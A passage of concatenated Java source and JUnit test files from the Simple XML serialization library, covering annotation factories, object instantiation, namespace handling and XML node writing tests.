* @param type this is the type of the annotation to acquire
*
* @return this provides the annotation associated with this
*/
<T extends Annotation> T getAnnotation(Class<T> type);
/**
* This is used to describe the type as it exists within the
* owning class. This is used to provide error messages that can
* be used to debug issues that occur when processing.
*
* @return this returns a string representation of the type
*/
String toString();
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/NamespaceInheritanceTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.io.ByteArrayOutputStream;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.Namespace;
import org.simpleframework.xml.Serializer;
import org.simpleframework.xml.ValidationTestCase;
public class NamespaceInheritanceTest extends ValidationTestCase {
@Namespace(reference="namespace1")
private static class Aaa {
@Element(name="bbb", required=false)
public Bbb bbb;
}
@Namespace(reference="namespace2")
private static class Bbb {
@Element(name="aaa", required=false)
public Aaa aaa;
}
@Namespace(prefix="aaa", reference="namespace1")
private static class AaaWithPrefix {
@Element(name="bbb", required=false)
public BbbWithPrefix bbb;
}
@Namespace(prefix="bbb", reference="namespace2")
private static class BbbWithPrefix {
@Element(name="aaa", required=false)
public AaaWithPrefix aaa;
}
public void testNamespace() throws Exception {
Aaa parent = new Aaa();
Bbb child = new Bbb();
parent.bbb = child;
Aaa grandchild = new Aaa();
child.aaa = grandchild;
grandchild.bbb = new Bbb();
ByteArrayOutputStream tmp = new ByteArrayOutputStream();
Serializer serializer = new Persister();
serializer.write(parent, tmp);
String result = new String(tmp.toByteArray());
System.out.println(result);
assertElementHasAttribute(result, "/aaa", "xmlns", "namespace1");
assertElementHasAttribute(result, "/aaa/bbb", "xmlns", "namespace2");
assertElementHasAttribute(result, "/aaa/bbb/aaa", "xmlns", "namespace1");
assertElementHasAttribute(result, "/aaa/bbb/aaa/bbb", "xmlns", "namespace2");
assertElementHasNamespace(result, "/aaa", "namespace1");
assertElementHasNamespace(result, "/aaa/bbb", "namespace2");
assertElementHasNamespace(result, "/aaa/bbb/aaa", "namespace1");
assertElementHasNamespace(result, "/aaa/bbb/aaa/bbb", "namespace2");
}
public void testNamespacePrefix() throws Exception {
AaaWithPrefix parent = new AaaWithPrefix();
BbbWithPrefix child = new BbbWithPrefix();
parent.bbb = child;
AaaWithPrefix grandchild = new AaaWithPrefix();
child.aaa = grandchild;
grandchild.bbb = new BbbWithPrefix();
ByteArrayOutputStream tmp = new ByteArrayOutputStream();
Serializer serializer = new Persister();
serializer.write(parent, tmp);
String result = new String(tmp.toByteArray());
System.out.println(result);
assertElementHasAttribute(result, "/aaaWithPrefix", "xmlns:aaa", "namespace1");
assertElementHasAttribute(result, "/aaaWithPrefix/bbb", "xmlns:bbb", "namespace2");
assertElementDoesNotHaveAttribute(result, "/aaaWithPrefix/bbb/aaa", "xmlns:aaa", "namespace1");
assertElementDoesNotHaveAttribute(result, "/aaaWithPrefix/bbb/aaa/bbb", "xmlns:bbb", "namespace2");
assertElementHasNamespace(result, "/aaaWithPrefix", "namespace1");
assertElementHasNamespace(result, "/aaaWithPrefix/bbb", "namespace2");
assertElementHasNamespace(result, "/aaaWithPrefix/bbb/aaa", "namespace1");
assertElementHasNamespace(result, "/aaaWithPrefix/bbb/aaa/bbb", "namespace2");
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/strategy/CycleException.java<|end_filename|>
/*
* CycleException.java April 2007
*
* Copyright (C) 2007, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.strategy;
import org.simpleframework.xml.core.PersistenceException;
/**
* The <code>CycleException</code> is thrown when an invalid cycle
* is found when deserializing an object from an XML document. This
* usually indicates the either the XML has been edited incorrectly
* or has been corrupted. Conditions that this exception is thrown
* are when there is an invalid reference or a duplicate identifier.
*
* @author <NAME>
*
* @see org.simpleframework.xml.strategy.CycleStrategy
*/
public class CycleException extends PersistenceException {
/**
* Constructor for the <code>CycleException</code> object. This
* constructor takes a format string an a variable number of
* object arguments, which can be inserted into the format string.
*
* @param text a format string used to present the error message
* @param list a list of arguments to insert into the string
*/
public CycleException(String text, Object... list) {
super(text, list);
}
/**
* Constructor for the <code>CycleException</code> object. This
* constructor takes a format string an a variable number of
* object arguments, which can be inserted into the format string.
*
* @param cause the source exception this is used to represent
* @param text a format string used to present the error message
* @param list a list of arguments to insert into the string
*/
public CycleException(Throwable cause, String text, Object... list) {
super(cause, text, list);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/MissingPrefixTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import junit.framework.TestCase;
import org.simpleframework.xml.Default;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.stream.NodeBuilder;
public class MissingPrefixTest extends TestCase {
private static final String BLAH =
"<blah>\n"+
" <d:foo>\n"+
" <x>x</x>\n"+
" <y>1</y>\n"+
" <z>2</z>\n"+
" </d:foo>\n"+
"</blah>\n";
@Root
public static class Blah {
@Element
private BlahBlah foo;
public Blah() {
super();
}
public Blah(String x, int y, long z) {
this.foo = new BlahBlah(x, y, z);
}
}
@Default
public static class BlahBlah {
private String x;
private int y;
private long z;
public BlahBlah(
@Element(name="x")String x,
@Element(name="y")int y,
@Element(name="z")long z) {
this.x = x;
this.y = y;
this.z = z;
}
}
public void testMissingPrefix() throws Exception {
Object originalProvider = null;
boolean failure = false;
try {
originalProvider = changeToPullProvider();
Persister p = new Persister();
Blah b = new Blah("x", 1, 2);
Blah a = p.read(Blah.class, BLAH);
assertEquals(a.foo.x, "x");
assertEquals(a.foo.y, 1);
assertEquals(a.foo.z, 2);
p.write(b, System.out);
}catch(Exception e) {
e.printStackTrace();
failure = true;
} finally {
setProviderTo(originalProvider);
}
assertTrue("Failure should have occured for unresolved prefix", failure);
}
private Object changeToPullProvider() throws Exception {
Object provider = null;
try {
Class c = Class.forName("org.simpleframework.xml.stream.PullProvider");
Constructor[] cons = c.getDeclaredConstructors();
for(Constructor con : cons) {
con.setAccessible(true);
}
Object o = cons[0].newInstance();
return setProviderTo(o);
}catch(Exception e) {
e.printStackTrace();
}
return provider;
}
private Object setProviderTo(Object value) throws Exception {
Object provider = null;
try {
Field f = NodeBuilder.class.getDeclaredField("provider");
f.setAccessible(true);
provider = f.get(null);
f.set(null, value);
}catch(Exception e) {
e.printStackTrace();
}
return provider;
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/core/Schema.java<|end_filename|>
/*
* Schema.java July 2006
*
* Copyright (C) 2006, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.core;
import org.simpleframework.xml.Version;
/**
* The <code>Schema</code> object is used to track which fields within
* an object have been visited by a converter. This object is necessary
* for processing <code>Composite</code> objects. In particular it is
* necessary to keep track of which required nodes have been visited
* and which have not, if a required not has not been visited then the
* XML source does not match the XML class schema and serialization
* must fail before processing any further.
*
* @author <NAME>
*/
interface Schema {
/**
* This is used to determine whether the scanned class represents
* a primitive type. A primitive type is a type that contains no
* XML annotations and so cannot be serialized with an XML form.
* Instead primitives a serialized using transformations.
*
* @return this returns true if no XML annotations were found
*/
boolean isPrimitive();
/**
* This returns the <code>Label</code> that represents the version
* annotation for the scanned class. Only a single version can
* exist within the class if more than one exists an exception is
* thrown. This will read only floating point types such as double.
*
* @return this returns the label used for reading the version
*/
Label getVersion();
/**
* This is the <code>Version</code> for the scanned class. It
* allows the deserialization process to be configured such that
* if the version is different from the schema class none of
* the fields and methods are required and unmatched elements
* and attributes will be ignored.
*
* @return this returns the version of the class that is scanned
*/
Version getRevision();
/**
* This is used to acquire the <code>Decorator</code> for this.
* A decorator is an object that adds various details to the
* node without changing the overall structure of the node. For
* example comments and namespaces can be added to the node with
* a decorator as they do not affect the deserialization.
*
* @return this returns the decorator associated with this
*/
Decorator getDecorator();
/**
* This is used to acquire the instantiator for the type. This is
* used to create object instances based on the constructors that
* have been annotated. If no constructors have been annotated
* then this can be used to create default no argument instances.
*
* @return this instantiator responsible for creating instances
*/
Instantiator getInstantiator();
/**
* This is used to acquire the <code>Caller</code> object. This
* is used to call the callback methods within the object. If the
* object contains no callback methods then this will return an
* object that does not invoke any methods that are invoked.
*
* @return this returns the caller for the specified type
*/
Caller getCaller();
/**
* This is used to acquire the <code>Section</code> that defines
* the XML structure for this class schema. A section, is the
* section of XML that the class is represented within. A
* section contains all the elements and attributes defined for
* the class in a tree like structure.
*
* @return this returns the section defined for the schama
*/
Section getSection();
/**
* This returns the <code>Label</code> that represents the text
* annotation for the scanned class. Only a single text annotation
* can be used per class, so this returns only a single label
* rather than a <code>LabelMap</code> object. Also if this is
* not null then the elements label map will be empty.
*
* @return this returns the text label for the scanned class
*/
Label getText();
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/StackOverflowTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.util.ArrayList;
import java.util.List;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.ElementList;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.ValidationTestCase;
public class StackOverflowTest extends ValidationTestCase {
private static final int ITERATIONS = 1000;
private static final String NEW_BENEFIT =
"<newBenefit>"+
" <office>AAAAA</office>"+
" <recordNumber>1046</recordNumber>"+
" <type>A</type>"+
"</newBenefit>";
private static final String BENEFIT_MUTATION =
"<benefitMutation>"+
" <office>AAAAA</office>"+
" <recordNumber>1046</recordNumber>"+
" <type>A</type>"+
" <comment>comment</comment>"+
"</benefitMutation>";
@Root
public static class Delivery {
@ElementList(inline = true, required = false, name = "newBenefit")
private List<NewBenefit> listNewBenefit = new ArrayList<NewBenefit>();
@ElementList(inline = true, required = false, name = "benefitMutation")
private List<BenefitMutation> listBenefitMutation = new ArrayList<BenefitMutation>();
}
public static class NewBenefit {
@Element
private String office;
@Element
private String recordNumber;
@Element
private String type;
}
public static class BenefitMutation extends NewBenefit {
@Element(required = false)
private String comment;
}
public void testStackOverflow() throws Exception {
StringBuilder builder = new StringBuilder();
Persister persister = new Persister();
builder.append("<delivery>");
boolean isNewBenefit = true;
for(int i = 0; i < ITERATIONS; i++) {
String text = null;
if(isNewBenefit) {
text = NEW_BENEFIT;
} else {
text = BENEFIT_MUTATION;
}
isNewBenefit = !isNewBenefit ;
builder.append(text);
}
builder.append("</delivery>");
Delivery delivery = persister.read(Delivery.class, builder.toString());
assertEquals(delivery.listBenefitMutation.size() + delivery.listNewBenefit.size(), ITERATIONS);
validate(persister, delivery);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/stream/NodeWriterTest.java<|end_filename|>
package org.simpleframework.xml.stream;
import java.io.StringWriter;
import org.simpleframework.xml.ValidationTestCase;
public class NodeWriterTest extends ValidationTestCase {
public void testEarlyCommit() throws Exception {
StringWriter out = new StringWriter();
OutputNode root = NodeBuilder.write(out);
boolean failure = false;
try {
root.commit();
}catch(Exception e) {
e.printStackTrace();
failure = true;
}
assertTrue("Early commit should fail", failure);
}
public void testBasicWrite() throws Exception {
StringWriter out = new StringWriter();
OutputNode root = NodeBuilder.write(out).getChild("root");
assertTrue(root.isRoot());
assertEquals("root", root.getName());
root.setAttribute("id", "test");
root.setAttribute("name", "testRoot");
assertEquals("test", root.getAttributes().get("id").getValue());
assertEquals("testRoot", root.getAttributes().get("name").getValue());
OutputNode childOfRoot = root.getChild("child-of-root");
childOfRoot.setAttribute("name", "child of root");
assertFalse(childOfRoot.isRoot());
assertEquals("child-of-root", childOfRoot.getName());
assertEquals("child of root", childOfRoot.getAttributes().get("name").getValue());
OutputNode childOfChildOfRoot = childOfRoot.getChild("child-of-child-of-root");
childOfChildOfRoot.setValue("I am a child of the child-of-root element and a grand child of the root element");
assertFalse(childOfChildOfRoot.isRoot());
assertEquals("child-of-child-of-root", childOfChildOfRoot.getName());
OutputNode anotherChildOfRoot = root.getChild("another-child-of-root");
anotherChildOfRoot.setAttribute("id", "yet another child of root");
anotherChildOfRoot.setValue("I am a sibling to child-of-root");
assertFalse(anotherChildOfRoot.isRoot());
assertEquals("another-child-of-root", anotherChildOfRoot.getName());
OutputNode finalChildOfRoot = root.getChild("final-child-of-root");
finalChildOfRoot.setValue("this element is a child of root");
assertFalse(finalChildOfRoot.isRoot());
assertTrue(root.isRoot());
root.commit();
validate(out.toString());
}
public void testWrite() throws Exception {
StringWriter out = new StringWriter();
OutputNode root = NodeBuilder.write(out).getChild("root");
root.setAttribute("version", "1.0");
assertTrue(root.isRoot());
assertEquals("root", root.getName());
OutputNode firstChild = root.getChild("first-child");
firstChild.setAttribute("key", "1");
firstChild.setValue("some value for first child");
assertFalse(firstChild.isRoot());
assertEquals("1", firstChild.getAttributes().get("key").getValue());
OutputNode secondChild = root.getChild("second-child");
secondChild.setAttribute("key", "2");
secondChild.setValue("some value for second child");
assertTrue(root.isRoot());
assertFalse(secondChild.isRoot());
assertEquals(firstChild.getChild("test"), null);
OutputNode test = secondChild.getChild("test");
test.setValue("test value");
assertEquals(test.getName(), "test");
assertEquals(test.getValue(), "test value");
secondChild.commit();
assertEquals(secondChild.getChild("example"), null);
OutputNode thirdChild = root.getChild("third-child");
thirdChild.setAttribute("key", "3");
thirdChild.setAttribute("name", "three");
assertEquals(thirdChild.getAttributes().get("key").getValue(), "3");
assertEquals(thirdChild.getAttributes().get("name").getValue(), "three");
thirdChild.commit();
assertEquals(thirdChild.getChild("foo"), null);
assertEquals(thirdChild.getChild("bar"), null);
OutputNode fourthChild = root.getChild("fourth-child");
fourthChild.setAttribute("key", "4");
fourthChild.setAttribute("name", "four");
OutputNode fourthChildChild = fourthChild.getChild("fourth-child-child");
fourthChildChild.setAttribute("name", "foobar");
fourthChildChild.setValue("some text for grand-child");
fourthChild.commit();
assertTrue(fourthChildChild.isCommitted());
assertTrue(fourthChild.isCommitted());
assertEquals(fourthChildChild.getChild("blah"), null);
assertEquals(fourthChild.getChild("example"), null);
root.commit();
validate(out.toString());
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/filter/StackFilterTest.java<|end_filename|>
package org.simpleframework.xml.filter;
import java.util.ArrayList;
import java.util.List;
import junit.framework.TestCase;
public class StackFilterTest extends TestCase {
public static class ExampleFilter implements Filter {
private List<String> list;
private String name;
public ExampleFilter(List<String> list, String name) {
this.list = list;
this.name = name;
}
public String replace(String token) {
if(token == name) {
list.add(name);
return name;
}
return null;
}
}
public void testFilter() {
List<String> list = new ArrayList<String>();
StackFilter filter = new StackFilter();
filter.push(new ExampleFilter(list, "one"));
filter.push(new ExampleFilter(list, "two"));
filter.push(new ExampleFilter(list, "three"));
String one = filter.replace("one");
String two = filter.replace("two");
String three = filter.replace("three");
assertEquals(one, "one");
assertEquals(two, "two");
assertEquals(three, "three");
assertEquals(list.size(), 3);
assertEquals(list.get(0), "one");
assertEquals(list.get(1), "two");
assertEquals(list.get(2), "three");
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/convert/RegistryTest.java<|end_filename|>
package org.simpleframework.xml.convert;
import static org.simpleframework.xml.convert.ExampleConverters.*;
import junit.framework.TestCase;
public class RegistryTest extends TestCase {
public void testRegistry() throws Exception {
Registry registry = new Registry();
registry.bind(Cat.class, CatConverter.class);
registry.bind(Dog.class, DogConverter.class);
assertEquals(registry.lookup(Cat.class).getClass(), CatConverter.class);
assertEquals(registry.lookup(Dog.class).getClass(), DogConverter.class);
Converter cat = registry.lookup(Cat.class);
Converter dog = registry.lookup(Dog.class);
assertTrue(cat == registry.lookup(Cat.class));
assertTrue(dog == registry.lookup(Dog.class));
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/core/AnnotationFactory.java<|end_filename|>
/*
* AnnotationFactory.java January 2010
*
* Copyright (C) 2010, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.core;
import static org.simpleframework.xml.stream.Verbosity.LOW;
import java.lang.annotation.Annotation;
import java.lang.reflect.Proxy;
import java.util.Collection;
import java.util.Map;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.ElementArray;
import org.simpleframework.xml.ElementList;
import org.simpleframework.xml.ElementMap;
import org.simpleframework.xml.stream.Format;
import org.simpleframework.xml.stream.Verbosity;
/**
* The <code>AnnotationFactory</code> is used to create annotations
* using a given class. This will classify the provided type as
* either a list, map, array, or a default object. Depending on the
* type provided a suitable annotation will be created. Annotations
* produced by this will have default attribute values.
*
* @author <NAME>
*
* @see org.simpleframework.xml.core.AnnotationHandler
*/
class AnnotationFactory {
/**
* This represents the format used for the serialization process.
*/
private final Format format;
/**
* This is used to determine if the defaults are required.
*/
private final boolean required;
/**
* Constructor for the <code>AnnotationFactory</code> object. This
* is used to create a factory for annotations used to provide
* the default annotations for generated labels.
*
* @param detail this contains details for the annotated class
* @param support this contains various support functions
*/
public AnnotationFactory(Detail detail, Support support) {
this.required = detail.isRequired();
this.format = support.getFormat();
}
/**
* This is used to create an annotation for the provided type.
* Annotations created are used to match the type provided. So
* a <code>List</code> will have an <code>ElementList</code>
* annotation for example. Matching the annotation to the
* type ensures the best serialization for that type.
*
* @param type the type to create the annotation for
* @param dependents these are the dependents for the type
*
* @return this returns the synthetic annotation to be used
*/
public Annotation getInstance(Class type, Class[] dependents) throws Exception {
ClassLoader loader = getClassLoader();
if(Map.class.isAssignableFrom(type)) {
if(isPrimitiveKey(dependents) && isAttribute()) {
return getInstance(loader, ElementMap.class, true);
}
return getInstance(loader, ElementMap.class);
}
if(Collection.class.isAssignableFrom(type)) {
return getInstance(loader, ElementList.class);
}
return getInstance(type);
}
/**
* This is used to create an annotation for the provided type.
* Annotations created are used to match the type provided. So
* an array of objects will have an <code>ElementArray</code>
* annotation for example. Matching the annotation to the
* type ensures the best serialization for that type.
*
* @param type the type to create the annotation for
*
* @return this returns the synthetic annotation to be used
*/
private Annotation getInstance(Class type) throws Exception {
ClassLoader loader = getClassLoader();
Class entry = type.getComponentType();
if(type.isArray()) {
if(isPrimitive(entry)) {
return getInstance(loader, Element.class);
}
return getInstance(loader, ElementArray.class);
}
if(isPrimitive(type) && isAttribute()) {
return getInstance(loader, Attribute.class);
}
return getInstance(loader, Element.class);
}
/**
* This will create a synthetic annotation using the provided
* interface. All attributes for the provided annotation will
* have their default values.
*
* @param loader this is the class loader to load the annotation
* @param label this is the annotation interface to be used
*
* @return this returns the synthetic annotation to be used
*/
private Annotation getInstance(ClassLoader loader, Class label) throws Exception {
return getInstance(loader, label, false);
}
/**
* This will create a synthetic annotation using the provided
* interface. All attributes for the provided annotation will
* have their default values.
*
* @param loader this is the class loader to load the annotation
* @param label this is the annotation interface to be used
* @param attribute determines if a map has an attribute key
*
* @return this returns the synthetic annotation to be used
*/
private Annotation getInstance(ClassLoader loader, Class label, boolean attribute) throws Exception {
AnnotationHandler handler = new AnnotationHandler(label, required, attribute);
Class[] list = new Class[] {label};
return (Annotation) Proxy.newProxyInstance(loader, list, handler);
}
/**
* This is used to create a suitable class loader to be used to
* load the synthetic annotation classes. The class loader
* provided will be the same as the class loader that was used
* to load this class.
*
* @return this returns the class loader that is to be used
*/
private ClassLoader getClassLoader() throws Exception {
return AnnotationFactory.class.getClassLoader();
}
/**
* This is used to determine if a map contains a primitive key.
* A primitive key is a key for a <code>Map</code> that is of
* a primitive type and thus can be used as an attribute. Here
* we accept all primitive types and also enumerations.
*
* @param dependents these are the dependents of the map
*
* @return this returns true if the key is a primitive type
*/
private boolean isPrimitiveKey(Class[] dependents) {
if(dependents != null && dependents.length > 0) {
Class parent = dependents[0].getSuperclass();
Class type = dependents[0];
if(parent != null) {
if(parent.isEnum()) {
return true;
}
if(type.isEnum()) {
return true;
}
}
return isPrimitive(type);
}
return false;
}
/**
* This is used to determine if the type specified is primitive.
* A primitive is any type that can be reliably transformed in
* to an XML attribute without breaking the XML.
*
* @param type this is the type that is to be evaluated
*
* @return true if the type provided is a primitive type
*/
private boolean isPrimitive(Class type) {
if(Number.class.isAssignableFrom(type)) {
return true;
}
if(type == Boolean.class) {
return true;
}
if(type == Character.class) {
return true;
}
return type.isPrimitive();
}
/**
* This is used to determine whether the format for the current
* serialization is verbose or not. The verbosity dictates the
* type of default annotations that are generated for an object.
*
* @return this is used to determine the verbosity to use
*/
private boolean isAttribute() {
Verbosity verbosity = format.getVerbosity();
if(verbosity != null) {
return verbosity == LOW;
}
return false;
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/core/MethodName.java<|end_filename|>
/*
* MethodName.java April 2007
*
* Copyright (C) 2007, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.core;
import java.lang.reflect.Method;
/**
* The <code>MethodName</code> object is used to represent the name
* of a Java Bean method. This contains the Java Bean name the type
* and the actual method it represents. This allows the scanner to
* create <code>MethodPart</code> objects based on the method type.
*
* @author <NAME>
*/
class MethodName {
/**
* This is the type of method this method name represents.
*/
private MethodType type;
/**
* This is the actual method that this method name represents.
*/
private Method method;
/**
* This is the Java Bean method name that is represented.
*/
private String name;
/**
* Constructor for the <code>MethodName</code> objects. This is
* used to create a method name representation of a method based
* on the method type and the Java Bean name of that method.
*
* @param method this is the actual method this is representing
* @param type type used to determine if it is a set or get
* @param name this is the Java Bean property name of the method
*/
public MethodName(Method method, MethodType type, String name) {
this.method = method;
this.type = type;
this.name = name;
}
/**
* This provides the name of the method part as acquired from the
* method name. The name represents the Java Bean property name
* of the method and is used to pair getter and setter methods.
*
* @return this returns the Java Bean name of the method part
*/
public String getName() {
return name;
}
/**
* This is the method type for the method part. This is used in
* the scanning process to determine which type of method a
* instance represents, this allows set and get methods to be
* paired.
*
* @return the method type that this part represents
*/
public MethodType getType() {
return type;
}
/**
* This is the method for this point of contact. This is what
* will be invoked by the serialization or deserialization
* process when an XML element or attribute is to be used.
*
* @return this returns the method associated with this
*/
public Method getMethod() {
return method;
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/core/ObjectFactory.java<|end_filename|>
/*
* ObjectFactory.java July 2006
*
* Copyright (C) 2006, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.core;
import org.simpleframework.xml.strategy.Type;
import org.simpleframework.xml.strategy.Value;
import org.simpleframework.xml.stream.InputNode;
/**
* The <code>ObjectFactory</code> is the most basic factory. This will
* basically check to see if there is an override type within the XML
* node provided, if there is then that is instantiated, otherwise the
* field type is instantiated. Any type created must have a default
* no argument constructor. If the override type is an abstract class
* or an interface then this factory throws an exception.
*
* @author <NAME>
*/
class ObjectFactory extends PrimitiveFactory {
/**
* Constructor for the <code>ObjectFactory</code> class. This is
* given the field class that this should create object instances
* of. If the field type is abstract then the XML node must have
* sufficient information for the <code>Strategy</code> object to
* resolve the implementation class to be instantiated.
*
* @param context the contextual object used by the persister
* @param type this is the object type to use for this factory
*/
public ObjectFactory(Context context, Type type, Class override) {
super(context, type, override);
}
/**
* This method will instantiate an object of the field type, or if
* the <code>Strategy</code> object can resolve a class from the
* XML element then this is used instead. If the resulting type is
* abstract or an interface then this method throws an exception.
*
* @param node this is the node to check for the override
*
* @return this returns an instance of the resulting type
*/
@Override
public Instance getInstance(InputNode node) throws Exception {
Value value = getOverride(node);
Class expect = getType();
if(value == null) {
if(!isInstantiable(expect)) {
throw new InstantiationException("Cannot instantiate %s for %s", expect, type);
}
return context.getInstance(expect);
}
return new ObjectInstance(context, value);
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/transform/DateFactory.java<|end_filename|>
/*
* DateTransform.java May 2007
*
* Copyright (C) 2007, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.transform;
import java.lang.reflect.Constructor;
import java.util.Date;
/**
* The <code>DateFactory</code> object is used to create instances
* or subclasses of the <code>Date</code> object. This will create
* the instances of the date objects using a constructor that takes
* a single <code>long</code> parameter value.
*
* @author <NAME>
*
* @see org.simpleframework.xml.transform.DateTransform
*/
class DateFactory<T extends Date> {
/**
* This is used to create instances of the date object required.
*/
private final Constructor<T> factory;
/**
* Constructor for the <code>DateFactory</code> object. This is
* used to create instances of the specified type. All objects
* created by this instance must take a single long parameter.
*
* @param type this is the date implementation to be created
*/
public DateFactory(Class<T> type) throws Exception {
this(type, long.class);
}
/**
* Constructor for the <code>DateFactory</code> object. This is
* used to create instances of the specified type. All objects
* created by this instance must take the specified parameter.
*
* @param type this is the date implementation to be created
* @param list is basically the list of accepted parameters
*/
public DateFactory(Class<T> type, Class... list) throws Exception {
this.factory = type.getDeclaredConstructor(list);
}
/**
* This is used to create instances of the date using a delegate
* date. A <code>long</code> parameter is extracted from the
* given date an used to instantiate a date of the required type.
*
* @param list this is the type used to provide the long value
*
* @return this returns an instance of the required date type
*/
public T getInstance(Object... list) throws Exception {
return factory.newInstance(list);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/PathInPathTest.java<|end_filename|>
package org.simpleframework.xml.core;
import org.simpleframework.xml.Default;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.Path;
import org.simpleframework.xml.ValidationTestCase;
public class PathInPathTest extends ValidationTestCase {
@Default
public static class PathInPathRoot {
@Path("a/b[1]/c")
private final PathInPathEntry d;
@Path("a/b[2]/c")
private final PathInPathEntry e;
public PathInPathRoot(
@Element(name="d") PathInPathEntry d,
@Element(name="e") PathInPathEntry e)
{
this.d = d;
this.e = e;
}
public PathInPathEntry getD(){
return d;
}
public PathInPathEntry getE(){
return d;
}
}
@Default
public static class PathInPathEntry {
@Path("x/y")
private final String v;
@Path("x/z")
private final String w;
public PathInPathEntry(
@Element(name="v") String v,
@Element(name="w") String w)
{
this.v = v;
this.w = w;
}
public String getW(){
return w;
}
public String getV(){
return v;
}
}
public void testPathInPath() throws Exception {
Persister persister = new Persister();
PathInPathRoot root = new PathInPathRoot(
new PathInPathEntry("Value for V", "Value for W"),
new PathInPathEntry("Another V", "Another W"));
persister.write(root, System.err);
validate(root, persister);
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/core/Qualifier.java<|end_filename|>
/*
* Qualifier.java July 2008
*
* Copyright (C) 2008, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.core;
import org.simpleframework.xml.Namespace;
import org.simpleframework.xml.NamespaceList;
import org.simpleframework.xml.stream.OutputNode;
/**
* The <code>Qualifier</code> object is used to provide decorations
* to an output node for namespaces. This will scan a provided
* contact object for namespace annotations. If any are found they
* can then be used to apply these namespaces to the provided node.
* The <code>Contact</code> objects can represent fields or methods
* that have been annotated with XML annotations.
*
* @author <NAME>
*/
class Qualifier implements Decorator {
/**
* This is the namespace decorator that is populated for use.
*/
private NamespaceDecorator decorator;
/**
* Constructor for the <code>Qualifier</code> object. This is
* used to create a decorator that will scan the provided
* contact for <code>Namespace</code> annotations. These can
* then be applied to the output node to provide qualification.
*
* @param contact this is the contact to be scanned
*/
public Qualifier(Contact contact) {
this.decorator = new NamespaceDecorator();
this.scan(contact);
}
/**
* This method is used to decorate the provided node. This node
* can be either an XML element or an attribute. Decorations that
* can be applied to the node by invoking this method include
* things like namespaces and namespace lists.
*
* @param node this is the node that is to be decorated by this
*/
public void decorate(OutputNode node) {
decorator.decorate(node);
}
/**
* This method is used to decorate the provided node. This node
* can be either an XML element or an attribute. Decorations that
* can be applied to the node by invoking this method include
* things like namespaces and namespace lists. This can also be
* given another <code>Decorator</code> which is applied before
